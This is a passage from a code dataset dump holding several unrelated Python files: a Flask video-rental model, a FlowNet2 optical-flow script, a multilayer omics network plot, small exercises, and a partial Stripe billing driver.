'Darth Vader' in birthdays:\n # do nothing\n print(\"\")\nelse:\n birthdays['Darth Vader'] = 'unknown'\n\nif 'Yoda' in birthdays:\n # do nothing\n print()\nelse:\n birthdays['Yoda'] = 'unknown'\n\nfor i in birthdays:\n print(i,birthdays[i])\n\ndel(birthdays['Darth Vader'])\n'''\n\n\n\n\n\n\n\n\n\n\n","sub_path":"workspace.py","file_name":"workspace.py","file_ext":"py","file_size_in_byte":4327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"644043665","text":"#!/usr/bin/python3\nfrom time import time\n\n\ndef sum_digits(n):\n r = 0\n while n:\n r, n = r + n % 10, n // 10\n return r\n\n\ndef main():\n start_time = time()\n\n current_max = 0\n for i in range(99, 0, -1):\n for j in range(99, 0, -1):\n s = sum_digits(i**j)\n if s > current_max:\n current_max = s\n\n print('Found %i in %f seconds' % (current_max, time() - start_time))\n # 972\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"51-60/56.py","file_name":"56.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"532435688","text":"from flask import current_app\nfrom app import db\nimport datetime \n\nclass Rental(db.Model):\n \"\"\"\n Attributes:\n id\n customer_id\n video_id\n due_date\n \"\"\"\n\n id = db.Column(db.Integer,primary_key=True,autoincrement=True)\n customer_id = db.Column(db.Integer,db.ForeignKey('customer.id'))\n video_id = db.Column(db.Integer,db.ForeignKey('video.id'))#Rental table joins Customer and Video table by FK to their PK's\n due_date = db.Column(db.DateTime)\n\n \n @classmethod\n def checkout(cls,customer_id,video_id):#increase the customer's videos_checked_out_count by one, decrease the video's available_inventory by one, and create a due date\n \"\"\"\n Input: customer_id, video_id\n Output: new instance of Rental with customer_id, video_id, due_date\n \"\"\"\n from .customer import Customer\n from .video import Video\n customer = Customer.query.get(customer_id)#querying Customer with customer_id\n video = Video.query.get(video_id)#querying Video with video_id\n due_date = datetime.datetime.now() + datetime.timedelta(days=7)\n \n new_rental = Rental(\n customer_id = customer.id,\n video_id = video.id,\n due_date = due_date\n )\n \n db.session.add(new_rental)\n db.session.commit()\n customer.increase_checkout_count()#calling Customer instance helper function on instance of Customer\n video.decrease_inventory()#calling Video helper function on instance of Video\n return new_rental\n \n \n def to_python_dict(self):\n \"\"\"\n Input: instance of Rental \n Ouput: python dictionary of Rental instance with added keys customer.videos_checked_out_count and \n video.available_inventory\n \"\"\"\n from .customer import Customer#gives access to Customer model\n from .video import Video#gives access to Video model\n \n customer = Customer.query.get(self.customer_id)\n video = Video.query.get(self.video_id)\n \n return {\n \n \"customer_id\": self.customer_id,\n \"video_id\": self.video_id,\n \"due_date\": self.due_date,\n \"videos_checked_out_count\": customer.videos_checked_out_count,\n \"available_inventory\": video.available_inventory\n }\n\n \n \n \n # results = db.session.query(Customer, Video, Rental).join(Customer, Customer.id==Rental.customer_id)\\\n # .join(Video, Video.id==Rental.video_id).filter(Customer.id == customer_id).all()#customer id is final filter for the tuples. we are designating Customer.id == customer_id meaning results variable will containa tuple list of all movies checked out by customer id. contains(customer, video, rental)\n # #iterate thorugh list of tuples for custome, video, rental in results\n \n # for customer, video, rental in results:# looping through list of tuples to find the movie that customer just checked in to delete it from the db\n # if video.id == video_id:\n # db.session.delete(rental)\n # db.session.commit()\n # return","sub_path":"app/models/rental.py","file_name":"rental.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"389597053","text":"import sys\n\nstored_arg = sys.argv[1:]\narg_dict = dict() # Followed the example from Severance 9.1 where he created a for loop to place items into a dictionary.\n\nfor item in stored_arg:\n\tif item not in arg_dict:\n\t\targ_dict[item] = 1\n\telse:\n\t\targ_dict[item] = arg_dict[item] + 1\n\narg_sorted = sorted(arg_dict) # Followed the instructor's notes to sort key alphabetically.\nprint(' '.join(arg_sorted))\n\n","sub_path":"homework7.py","file_name":"homework7.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"403306920","text":"import pygame\nfrom display import *\nfrom colors import *\n\nclass Player(pygame.sprite.Sprite):\n \"\"\"\n This class represents the player\n It derives from the \"Sprite\" class in Pygame\n \"\"\"\n info = {\n \"y\": 0,\n \"x\": 0,\n \"velocity\": display[\"scale\"],\n \"width\": 10,\n \"height\": 27\n }\n\n image = { # defining list do not edit\n \"up\": None,\n \"down\": None,\n \"left\": None,\n \"right\": None,\n }\n\n def __init__(self):\n \"\"\" Constructor. Pass in the color of the block,\n and its x and y position. \"\"\"\n # Call the parent class (Sprite) constructor\n super().__init__()\n # Create an image of the block, and fill it with a color.\n # This could also be an image loaded from the disk.\n Player.image[\"right\"] = pygame.image.load(\"sprites/player_right.png\").convert()\n Player.image[\"right\"].set_colorkey(BLACK)\n Player.image[\"right\"] = pygame.transform.scale(Player.image[\"right\"], (display[\"scale\"]*Player.info[\"width\"], display[\"scale\"]*Player.info[\"height\"]))\n\n Player.image[\"left\"] = pygame.image.load(\"sprites/player_left.png\").convert()\n Player.image[\"left\"].set_colorkey(BLACK)\n Player.image[\"left\"] = pygame.transform.scale(Player.image[\"left\"], (display[\"scale\"]*Player.info[\"width\"], display[\"scale\"]*Player.info[\"height\"]))\n\n self.rect = Player.image[\"right\"].get_rect()\n self.rect.y = 0\n self.rect.x = 0\n self.image = Player.image[\"right\"]\n","sub_path":"sprites.py","file_name":"sprites.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"508917185","text":"import json\nimport logging\nimport os.path as osp\nimport sys\nfrom glob import glob\nfrom os import makedirs\n\nimport numpy as np\n\nimport cv2\nimport torch\nimport torch.nn as nn\nfrom FlowNet2_src import FlowNet2, flow_to_image\nfrom torch.autograd import Variable\nfrom tqdm import tqdm\n\nDATA_DIR = '/data/'\nOUT_DIR = osp.join(DATA_DIR, 'flows')\nMODEL_HOME = osp.join(DATA_DIR, 'flownet_models')\nMODEL_PATH = osp.join(MODEL_HOME, 'FlowNet2_checkpoint.pth.tar')\nVIDEO_PATTERN = osp.join(DATA_DIR, 'videos/*.mp4')\nNETWORK_IMAGE_DIMS = (384, 512)\nSCRATCH = 'scratch'\nGPU = 0\nSCALE = 0.25\nBATCH_SIZE = 60\nSTATUS_FILE = osp.join(DATA_DIR, 'flownet_status.json')\n\nDEVICE = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef setup_custom_logger(name):\n formatter = logging.Formatter(fmt='%(asctime)s %(levelname)-8s %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S')\n handler = logging.FileHandler('log.txt', mode='w')\n handler.setFormatter(formatter)\n screen_handler = logging.StreamHandler(stream=sys.stdout)\n screen_handler.setFormatter(formatter)\n logger = logging.getLogger(name)\n logger.setLevel(logging.DEBUG)\n logger.addHandler(handler)\n logger.addHandler(screen_handler)\n return logger\n\n\nlogger = setup_custom_logger(__name__)\n\n\ndef get_frame(vidcap, framenum):\n vidcap.set(cv2.CAP_PROP_POS_FRAMES, framenum)\n result, cv2_im = vidcap.read()\n if result:\n cv2_im = cv2.cvtColor(cv2_im, cv2.COLOR_BGR2RGB)\n cv2_im = cv2.resize(cv2_im, NETWORK_IMAGE_DIMS)\n return cv2_im\n else:\n return None\n\n\ndef get_video_flow(videofile, step=6):\n fpath = get_output_conversion_func(videofile)\n cap = cv2.VideoCapture(videofile)\n found_end = False\n strt = 0\n num_processed = 0\n network = get_network()\n while not found_end:\n frame_nums = range(strt, strt+BATCH_SIZE)\n ims = [get_frame(cap, i*step) for i in frame_nums]\n if not ims:\n logger.info('Stopping. No more images.')\n break\n if ims[-1] is None:\n logger.info('Cleaning up for final run.')\n ims = [i for i in ims if i is not None]\n found_end = True\n if len(ims) > 1:\n num_processed += len(ims)\n flows = get_flows(ims, network=network)\n filepaths = [fpath((i+1)*step + strt) for i in range(len(flows))]\n store_flows(flows, filepaths)\n strt += BATCH_SIZE\n if num_processed % 100 == 0:\n logger.info('Finished: ' + str(num_processed))\n\n return num_processed\n\n\ndef get_subdir(videofile):\n subdir = videofile_to_subdir(videofile)\n if not osp.exists(subdir):\n makedirs(subdir)\n return subdir\n\n\ndef videofile_to_subdir(videofile):\n title = osp.splitext(osp.basename(videofile))[0]\n subdir = osp.join(OUT_DIR, title)\n return subdir\n\n\ndef subdir_to_videofile(subdir):\n title = osp.splitext(osp.basename(subdir))[0]\n vid = osp.join(DATA_DIR, 'videos', title + '.mp4')\n assert osp.exists(vid)\n return vid\n\n\ndef get_output_conversion_func(videofile):\n\n def fpath(i): return osp.join(get_subdir(\n videofile), str(i).zfill(6) + '.jpg')\n return fpath\n\n\ndef get_flows(images, network=None):\n ims = prep_ims_for_torch(images)\n if network is None:\n network = get_network()\n pred_flows = network(ims).cpu().data\n return pred_flows\n\n\ndef store_flows(flows, filenames):\n assert len(flows) == len(filenames)\n for i in range(len(flows)):\n store_single_flow(flows[i], filenames[i])\n\n\ndef store_single_flow(flow, path):\n args = [int(cv2.IMWRITE_JPEG_QUALITY), 100]\n im = cv2.cvtColor(cv2.resize(flow_to_im(flow), (0, 0),\n fx=SCALE, fy=SCALE), cv2.COLOR_RGB2BGR)\n\n cv2.imwrite(path, im, args)\n\n\ndef flow_to_im(flow):\n return flow_to_image(flow.numpy().transpose((1, 2, 0)))\n\n\ndef prep_ims_for_torch(images):\n ims = np.array([[images[i], images[i+1]] for i in range(len(images)-1)])\n ims = ims.transpose((0, 4, 1, 2, 3)).astype(np.float32)\n ims = torch.from_numpy(ims)\n ims_v = Variable(ims.to(DEVICE), requires_grad=False)\n return ims_v\n\n\ndef get_network():\n network = FlowNet2()\n model_path = MODEL_PATH\n pretrained_dict = torch.load(model_path)['state_dict']\n model_dict = network.state_dict()\n pretrained_dict = {k: v for k,\n v in pretrained_dict.items() if k in model_dict}\n model_dict.update(pretrained_dict)\n network.load_state_dict(model_dict)\n\n if torch.cuda.device_count() > 1:\n print(\"Let's use\", torch.cuda.device_count(), \"GPUs!\")\n # dim = 0 [30, xxx] -> [10, ...], [10, ...], [10, ...] on 3 GPUs\n network = nn.DataParallel(network)\n\n return network.to(DEVICE)\n\n\ndef store_status(d):\n with open(STATUS_FILE, 'w') as f:\n json.dump(d, f)\n\n\ndef load_status():\n try:\n with open(STATUS_FILE, 'r') as f:\n return json.load(f)\n except:\n return {}\n\n\ndef needs_flows(filepath, finished):\n in_finished = filepath in finished.keys()\n has_directory = osp.exists(videofile_to_subdir(filepath))\n\n return (not in_finished) and (not has_directory)\n\n\ndef update_finished(finished):\n dirs = glob(osp.join(OUT_DIR, '*'))\n news = {subdir_to_videofile(d): len(glob(osp.join(d, '*.json')))\n for d in dirs}\n finished.update(news)\n return finished\n\n\nif __name__ == '__main__':\n filepaths = glob(VIDEO_PATTERN)\n finished = load_status()\n finished = update_finished(finished)\n filepaths = [fp for fp in filepaths if needs_flows(fp, finished)]\n for f in tqdm(filepaths):\n finished[f] = get_video_flow(f)\n store_status(finished)\n","sub_path":"flow_video.py","file_name":"flow_video.py","file_ext":"py","file_size_in_byte":5730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"405500112","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport matplotlib as plt\nfrom pymnet import *\nimport pymnet\nfrom itertools import islice\nimport math\n\nsnp_name = [\"rs2819348\",\"rs11644424\",\"rs11257188\",\"rs1432679\",\"rs3773651\",\"rs3757318\",\"rs10443215\",\"rs2075570\",\"rs580384\",\n\"rs1493354\",\"rs11654964\",\"rs2032224\",\"rs11196174\",\"rs594206\",\"rs13387042\",\"rs3844412\",\"rs11059635\",\"rs2974935\",\"rs2075555\",\n\"rs6788895\",\"rs2290203\",\"rs7904519\"]\n\ngene_name = [\"LMOD1\", \"TGFBR2\", \"BCL9\", \"TMEM132C\", \"COL1A1\", \"TCF7L2\", \"PFKFB3\", \"MTX1\", \"CADPS\", \"KLF4\", \n\"PRC1\", \"CDKN2B.AS1\", \"STXBP6\", \"TMEM132E\", \"CDH13\", \"SIAH2\", \"FPR3\", \"EBF1\", \"SLC52A3\", \"CBX8\", \"RBMS3\", \n\"CEP83\", \"CHST9\", \"RPUSD4\", \"APOBEC3A\", \"PAX9\", \"WASF2\", \"ROPN1L\", \"LINC.PINT\", \"GRIN2B\", \"MAML2\", \"PTPN4\", \n\"PDE4D\", \"MSRA\", \"GCKR\", \"GALNT2\", \"TAB2\", \"CASC8\", \"TNNT3\", \"TOX3\", \"ELL\", \"DENND1A\", \"DNAJC1\", \"TPD52\", \n\"PBX1\", \"MIR4757\", \"CD80\", \"ADGRE2\", \"ZNF462\", \"GPC5\", \"CDON\"]#,'CCDC170', 'RNU6-830P', 'LOC105378740', 'LOC100505878', 'RPL10AP9', 'LOC105371740', 'SERPINB5', 'SERPINB12', 'LOC105373874', 'LOC101928278', 'LOC101928392', 'PRC1-AS1']\n\nmirna_name = [\"hsa.mir.139\", \"hsa.mir.21\", \"hsa.mir.183\", \"hsa.mir.96\", \"hsa.mir.190b\", \"hsa.mir.6507\", \"hsa.mir.204\", \n\"hsa.mir.107\", \"hsa.mir.1262\", \"hsa.mir.195\", \"hsa.mir.379\", \"hsa.mir.10b\", \"hsa.mir.484\", \"hsa.mir.337\", \n\"hsa.mir.129.2\", \"hsa.mir.6892\", \"hsa.mir.374a\", \"hsa.mir.584\", \"hsa.mir.548y\", \"hsa.mir.99a\", \"hsa.mir.1248\", \n\"hsa.mir.423\", \"hsa.mir.145\", \"hsa.mir.486.2\", \"hsa.mir.1301\", \"hsa.mir.486.1\", \"hsa.mir.744\", \"hsa.mir.142\", \n\"hsa.mir.592\", \"hsa.mir.129.1\", \"hsa.mir.130b\", \"hsa.mir.877\", \"hsa.mir.203a\", \"hsa.mir.1287\", \"hsa.mir.3614\", \n\"hsa.mir.342\", \"hsa.mir.10a\", \"hsa.mir.7705\", \"hsa.mir.511\", \"hsa.mir.378c\", \"hsa.mir.206\", \"hsa.mir.103a.1\", \n\"hsa.mir.1247\", \"hsa.mir.1185.2\", \"hsa.mir.3174\", \"hsa.mir.1295a\", \"hsa.mir.141\", \"hsa.mir.155\", \"hsa.mir.493\", \n\"hsa.mir.215\"]\n\nprotein_name = [\"Bax\", \"GSK3.alpha.beta\", \"E.Cadherin\", \"Rab11\", \"Caveolin.1\", \"Collagen_VI\", \n\"c.Myc\", \"PKC.alpha\", \"GAPDH\", \"P.Cadherin\", \"PDK1\", \"XBP1\", \"CDK1\", \"c.Kit\", \"Syk\", \n\"p27\", \"Shc_pY317\", \"mTOR\", \"AR\", \"Ku80\", \"Rictor\", \"MSH6\", \"14.3.3_zeta\", \"PI3K.p85\", \n\"Chk2_pT68\", \"Bap1.c.4\", \"Lck\", \"STAT3_pY705\", \"S6_pS240_S244\", \"ATM\", \"Src_pY416\", \n\"14.3.3_epsilon\", \"Bak\", \"N.Ras\", \"Myosin.IIa_pS1943\", \"LKB1\", \"YB.1\", \"p70S6K\", \n\"Claudin.7\", \"Annexin.1\", \"4E.BP1_pT37_T46\", \"MIG.6\", \"FOXO3a\"]\n\nnet=pymnet.MultilayerNetwork(aspects=1, fullyInterconnected=False)\n#---------------------------------------------------------------------------------------------------------------------\n# get line\ndef isGeneRnaProteinlist(name):\n\tif name in snp_name: return name, 'SNP'\n\tif name in gene_name: return name, 'Gene'\n\tif name in mirna_name: return name, 'miRNA'\n\tif name in protein_name: return name, 'Protein'\n\n'''\nMIC06 = open('MIC0.6.csv','r')\nfor line in islice(MIC06, 1, None): # ignore 1st line\n\tname1 = line.split(',')[0]\n\tname2 = line.split(',')[1]\n\tvalue = line.split(',')[2]\n#1\tif (name1 in gene_name and name2 in snp_name) or (name1 in gene_name and name2 in gene_name) or (name1 in mirna_name and name2 in mirna_name) or (name1 in protein_name and name2 in protein_name): # MIC0.6_2.csv\n#\t\tnet[isGeneRnaProteinlist(name1)][isGeneRnaProteinlist(name2)] = float(value)\n\tnet[isGeneRnaProteinlist(name1)][isGeneRnaProteinlist(name2)] = float(value)\n#\tif (name1 in gene_name and name2 in snp_name) or (name1 in gene_name and name2 in mirna_name) or (name1 in gene_name and name2 in protein_name):# or (name1 in mirna_name and name2 in protein_name):\n#\t\tnet[isGeneRnaProteinlist(name1)][isGeneRnaProteinlist(name2)] = float(value)\nMIC06.close()\n'''\n#---------------------------------------------------------\nMIC06 = open('MIC0.6.csv','r')\nsnp_unique, gene_unique, mirna_unique, protein_unique = [], [], [], []\nfor line in islice(MIC06, 1, None): # ignore 1st line\n\tname1 = line.split(',')[0]\n\tname2 = line.split(',')[1]\n\tif name1 in snp_name and name1 not in snp_unique: snp_unique.append(name1)\n\tif name2 in snp_name and name2 not in snp_unique: snp_unique.append(name2)\n\tif name1 in gene_name and name1 not in gene_unique: gene_unique.append(name1)\n\tif name2 in gene_name and name2 not in gene_unique: gene_unique.append(name2)\n\tif name1 in mirna_name and name1 not in mirna_unique: mirna_unique.append(name1)\n\tif name2 in mirna_name and name2 not in mirna_unique: mirna_unique.append(name2)\n\tif name1 in protein_name and name1 not in protein_unique: protein_unique.append(name1)\n\tif name2 in protein_name and name2 not in protein_unique: protein_unique.append(name2)\n\nMIC06.close()\n\n\nMIC06 = open('MIC0.6.csv','r')\nsgmp = {}\nfor line in islice(MIC06, 1, None): # ignore 1st line\n\tkey = line.split(',')[0]\n\tvalue = line.split(',')[1]\n\tsgmp.setdefault(key,[]).append(value)\n\tsgmp.setdefault(value,[]).append(key)\n\nMIC06.close()\n\n\nMIC06 = open('MIC0.6.csv','r')\nsnp2gene = []\nfor line in islice(MIC06, 1, None): # ignore 1st line\n\tname1 = line.split(',')[0]\n\tname2 = line.split(',')[1]\n\tif name2 in snp_unique:\n\t\tsnp2gene.append(name1)\n\nMIC06.close()\n\n\nfor i in snp2gene:\n\tfor j in sgmp[i]:\n\t\tif j in protein_name:\n\t\t\tfor k in sgmp[i]:\n\t\t\t\tnet[isGeneRnaProteinlist(i)][isGeneRnaProteinlist(k)]=1\n\t\t\tbreak\n\nfor i in mirna_unique:\n\tfor j in sgmp[i]:\n\t\tif j in gene_name:\n\t\t\tfor k in sgmp[i]:\n\t\t\t\tnet[isGeneRnaProteinlist(i)][isGeneRnaProteinlist(k)]=1\n\t\t\tbreak\n\n'''\nfor i in protein_unique:\n\tfor j in sgmp[i]:\n\t\tif j in mirna_name:\n\t\t\tfor k in sgmp[i]:\n\t\t\t\tnet[isGeneRnaProteinlist(i)][isGeneRnaProteinlist(k)]=1\n\t\t\tbreak\n'''\n#---------------------------------------------------------------------------------------------------------------------\n# get nodeColorDict && nodeLabelColorDict\ndef nodeColor(name):\n\tif name in snp_name: return {(name, 'SNP'):'#00B2EE'}\n\tif name in gene_name: return {(name, 'Gene'):'g'}\n\tif name in mirna_name: return {(name, 'miRNA'):'#FF8C00'}\n\tif name in protein_name: return {(name, 'Protein'):'k'}\n\nMIC06 = open('MIC0.6.csv','r')\nnodeColorDict0, nodeLabelColorDict0 = {}, {}\nfor line in islice(MIC06, 1, None): # ignore 1st line\n\tname1 = line.split(',')[0]\n\tname2 = line.split(',')[1]\n\tvalue = line.split(',')[2]\n\tnodeColorDict0 = dict(nodeColorDict0.items() + nodeColor(name1).items() + nodeColor(name2).items())\n\tnodeLabelColorDict0 = dict(nodeLabelColorDict0.items() + nodeColor(name1).items() + nodeColor(name2).items())\nMIC06.close()\n\n#---------------------------------------------------------------------------------------------------------------------\n\n# get edgeColorDict\ndef edgeColor(name1, name2):\n\tif name1 in gene_name and name2 in gene_name:\n\t\treturn {((name1, 'Gene'), (name2, 'Gene')):'#FF3030'}\n\tif name1 in mirna_name and name2 in mirna_name:\n\t\treturn {((name1, 'miRNA'), (name2, 'miRNA')):'#FF3030'}\n\tif name1 in protein_name and name2 in protein_name:\n\t\treturn {((name1, 'Protein'), (name2, 'Protein')):'#FF3030'}\n\tif name1 in gene_name and name2 in snp_name:\n\t\treturn {((name1, 'Gene'), (name2, 'SNP')):'#BF3EFF'}\n\tif name1 in gene_name and name2 in mirna_name:\n\t\treturn {((name1, 'Gene'), (name2, 'miRNA')):'#F08080'}\n\tif name1 in gene_name and name2 in protein_name:\n\t\treturn {((name1, 'Gene'), (name2, 'Protein')):'#008000'}\n\tif name1 in mirna_name and name2 in protein_name:\n\t\treturn {((name1, 'miRNA'), (name2, 'Protein')):'#0099CC'}\n\nMIC06 = open('MIC0.6.csv','r')\nedgeColorDict0 = {}\nfor line in islice(MIC06, 1, None): # ignore 1st line\n\tname1 = line.split(',')[0]\n\tname2 = line.split(',')[1]\n\tvalue = line.split(',')[2]\n\tedgeColorDict0 = dict(edgeColorDict0.items() + edgeColor(name1, name2).items())\nMIC06.close()\n\n#---------------------------------------------------------------------------------------------------------------------\n# get nodeSizeDict\ndef nodeSize(name, count):\n\tif name in snp_name: return {(name, 'SNP'): count}\n\tif name in gene_name: return {(name, 'Gene'): count}\n\tif name in mirna_name: return {(name, 'miRNA'): count}\n\tif name in protein_name: return {(name, 'Protein'): count}\n\nMIC06 = open('MIC0.6.csv','r')\nnodeCountDict = {}\nfor line in islice(MIC06, 1, None): # ignore 1st line\n\tname1 = line.split(',')[0]\n\tname2 = line.split(',')[1]\n\tif name1 not in nodeCountDict.keys():\n\t\tnodeCountDict[name1] = 1\n\telse:\n\t\tnodeCountDict[name1] += 1\n\tif name2 not in nodeCountDict.keys():\n\t\tnodeCountDict[name2] = 1\n\telse:\n\t\tnodeCountDict[name2] += 1\n\nMIC06.close()\nnodeSizeDict0 = {}\nnodeLabelSizeDict0 = {}\nfor name in nodeCountDict.keys():\n\tnodeSizeDict0 = dict(nodeSizeDict0.items() + nodeSize(name, nodeCountDict[name]/220.0).items())\n\tnodeLabelSizeDict0 = dict(nodeLabelSizeDict0.items() + nodeSize(name, 5).items())\n\n#---------------------------------------------------------------------------------------------------------------------\n# get edge width\ndef edgeWidth(name1, name2, name3):\n\tif name1 in gene_name and name2 in gene_name:\n\t\treturn {((name1, 'Gene'), (name2, 'Gene')):name3}\n\tif name1 in mirna_name and name2 in mirna_name:\n\t\treturn {((name1, 'miRNA'), (name2, 'miRNA')):name3}\n\tif name1 in protein_name and name2 in protein_name:\n\t\treturn {((name1, 'Protein'), (name2, 'Protein')):name3}\n\tif name1 in gene_name and name2 in snp_name:\n\t\treturn {((name1, 'Gene'), (name2, 'SNP')):name3}\n\tif name1 in gene_name and name2 in mirna_name:\n\t\treturn {((name1, 'Gene'), (name2, 'miRNA')):name3*1.5}\n\tif name1 in gene_name and name2 in protein_name:\n\t\treturn {((name1, 'Gene'), (name2, 'Protein')):name3*1.5}\n\tif name1 in mirna_name and name2 in protein_name:\n\t\treturn {((name1, 'miRNA'), (name2, 'Protein')):name3*1.5}\n\nMIC06 = open('MIC0.6.csv','r')\nedgeWidthDict0 = {}\nfor line in islice(MIC06, 1, None): # ignore 1st line\n\tname1 = line.split(',')[0]\n\tname2 = line.split(',')[1]\n\tvalue = float(line.split(',')[2])\n\tedgeWidthDict0 = dict(edgeWidthDict0.items() + edgeWidth(name1, name2, value).items())\nMIC06.close()\n\n#---------------------------------------------------------------------------------------------------------------------\n# get coords, must be simultaneously\ndef Coords(gmp_unique):\n\tCount = len(gmp_unique)\n\tdis = 1.6/int(math.sqrt(Count))\n\tDict = {}\n\tfor i in range(Count):\n\t\tzheng = i//(int(math.sqrt(Count))+1)\n\t\tyu = i%(int(math.sqrt(Count))+1)\n\t\tif set(gmp_unique).issubset(set(snp_name)): Dict[(gmp_unique[i], 'SNP')] = (-0.8+yu*dis, 0.8-zheng*dis)\n\t\tif set(gmp_unique).issubset(set(gene_name)): Dict[(gmp_unique[i], 'Gene')] = (-0.8+yu*dis, 0.8-zheng*dis)\n\t\tif set(gmp_unique).issubset(set(mirna_name)): Dict[(gmp_unique[i], 'miRNA')] = (-0.8+yu*dis, 0.8-zheng*dis)\n\t\tif set(gmp_unique).issubset(set(protein_name)): Dict[(gmp_unique[i], 'Protein')] = (-0.8+yu*dis, 0.8-zheng*dis)\n\treturn Dict\n\nnodeCoords0 = dict(Coords(snp_unique).items() + Coords(gene_unique).items() + Coords(mirna_unique).items() + Coords(protein_unique).items())\n\n#---------------------------------------------------------------------------------------------------------------------\n# main\nfig=pymnet.draw(net, show=False, azim=-60, elev=25, layergap=0.75,\n\t\t\t\t\t\tlayout='shell',\n#\t\t\t\t\t\tlayershape='circle',\n\t\t\t\t\t\tautoscale=True,\n\t\t\t\t\t\tdefaultNodeLabelAlpha=0.75,\n\t\t\t\t\t\tdefaultLayerAlpha=0.25,\n\n\t\t\t\t\t\t# color\n\t\t\t\t\t\tnodeColorDict = nodeColorDict0,\n\t\t\t\t\t\tnodeLabelColorDict = nodeColorDict0,\n\t\t\t\t\t\tedgeColorDict = edgeColorDict0,\n\n\t\t\t\t\t\t# size\n\t\t\t\t\t\tnodeSizeDict = nodeSizeDict0,\n\t\t\t\t\t\tnodeSizeRule={'scalecoeff': 0.2, 'rule': 'scaled'},\n\t\t\t\t\t\tnodeLabelSizeDict = nodeLabelSizeDict0,\n\n\t\t\t\t\t\t# width\n\t\t\t\t\t\tedgeWidthDict = edgeWidthDict0,\n\t\t\t\t\t\tdefaultEdgeAlpha=1,\n\n\t\t\t\t\t\t# coords\n\t\t\t\t\t\tnodeCoords = nodeCoords0,\n\t\t\t\t\t\tnodelayerCoords = nodeCoords0,\n\n\t\t\t\t\t\tlayerColorDict={'Gene':'#DAA520', 'Protein':'#FF0000'},\n\t\t\t\t\t\tlayerOrderDict={'SNP':4, 'Gene':3, 'miRNA':2, 'Protein':1},\n\t\t\t\t\t\t# node label style\n\t\t\t\t\t\tdefaultNodeLabelStyle='oblique', # normal, italic or oblique\n\t\t\t\t\t\tlayerPadding=0.25)\nfig.savefig(\"Multilayer_Networks_cancer06_sub.pdf\")\n","sub_path":"cancer06_copy/sub/multilayer-networks_cancer06_sub.py","file_name":"multilayer-networks_cancer06_sub.py","file_ext":"py","file_size_in_byte":11826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"501400956","text":"from colors import color\r\n\r\nprint(color.BLUE + \"Write a Python program to display the current date and time.\\n\" + color.END)\r\n\r\nprint(color.YELLOW + \"The datetime module supplies classes for manipulating dates and\" \r\n\"times in both simple and complex ways.\\n\"\r\n\" datetime.now(tz=None) returns the current local date and time.\\n\"\r\n\"If optional argument tz is None or not specified, this is like today().\\n\"\r\n\"date.strftime(format) returns a string representing the date,\"\r\n\"controlled by an explicit format string.\"\r\n\"Format codes referring to hours, minutes or seconds will see 0 values.\\n\" + color.END)\r\n\r\nimport datetime\r\nnow = datetime.datetime.now()\r\nday_on_my_birthday = datetime.datetime(2018, 6, 25)\r\nprint (\"Current date and time: \")\r\nprint(now.strftime(\"%d-%m-%Y %H:%M:%S\\n\"))\r\nprint(day_on_my_birthday.strftime(\"%A\"))\r\n\r\nprint(color.YELLOW + \"A reference of all the legal format codes:\\n\"\r\n \"%a = weekday, short-version (Wed)\\n\"\r\n \"%A = full version\\n\"\r\n \"%w = weekday as a day (0=Sunday and 6 = Saturday\\n\"\r\n \"%d = day of the month(0-31)\\n\"\r\n \"%b = month name short\\n\"\r\n \"%B = monthname_full\\n\"\r\n \"%m = month as number\\n\"\r\n \"%y = year short version(18)\\n\"\r\n \"%Y = year full (2018)\\n\"\r\n \"%H = hour (0-23)\\n\"\r\n \"%I = hour(0-12)\\n\"\r\n \"%p = AM/PM\\n\"\r\n \"%M = minute\\n\"\r\n \"%S = seconds\\n\"\r\n \"%f = microseconds\\n\"\r\n \"%z = UTC offset\\n\"\r\n \"%Z = timezone(IST)\\n\"\r\n \"%j = day number of year (00-365)\\n\"\r\n \"%U = Week number of year (Sunday as first day 00-53)\\n\"\r\n \"%W = week number with monday as first day\\n\"\r\n \"%c = local version of date and time\\n\"\r\n \"%x = local version of date\\n\"\r\n \"%X = local version of time\\n\"\r\n \"%% = a % character\" + color.END )","sub_path":"current_date-time.py","file_name":"current_date-time.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"96872753","text":"import stripe\nfrom stripe.error import InvalidRequestError\nfrom billing.exceptions import PlanNotFound\nimport pendulum\n\ntry:\n from config import billing\n stripe.api_key = billing.DRIVERS['stripe']['secret']\nexcept ImportError:\n raise ImportError('Billing configuration found')\n\n\nclass BillingStripeDriver:\n\n _subscription_args = {}\n\n def subscribe(self, plan, token, customer=None, **kwargs):\n # create a customer\n if not customer:\n customer = self._create_customer('description', token)\n\n try:\n subscription = self._create_subscription(customer,\n plan=plan,\n **kwargs\n )\n return subscription\n\n except InvalidRequestError as e:\n if 'No such plan' in str(e):\n raise PlanNotFound('The {0} plan was not found in Stripe'.format(plan))\n if 'No such customer' in str(e):\n return False\n\n return None\n\n def coupon(self, coupon_id):\n self._subscription_args.update({'coupon': coupon_id})\n return self\n\n def trial(self, days=0):\n self._subscription_args.update({'trial_period_days': days})\n return self\n\n def on_trial(self, plan_id=None):\n try:\n if plan_id:\n subscription = self._get_subscription(plan_id)\n\n if subscription['status'] == 'trialing':\n return True\n return False\n\n except InvalidRequestError:\n return False\n return None\n\n def is_subscribed(self, plan_id, plan_name=None):\n try:\n # get the plan\n subscription = self._get_subscription(plan_id)\n if not plan_name:\n if subscription['status'] in ('active', 'trialing'):\n return True\n\n if subscription[\"items\"][\"data\"][0]['plan']['id'] == plan_name:\n return True\n\n except InvalidRequestError:\n return False\n\n return 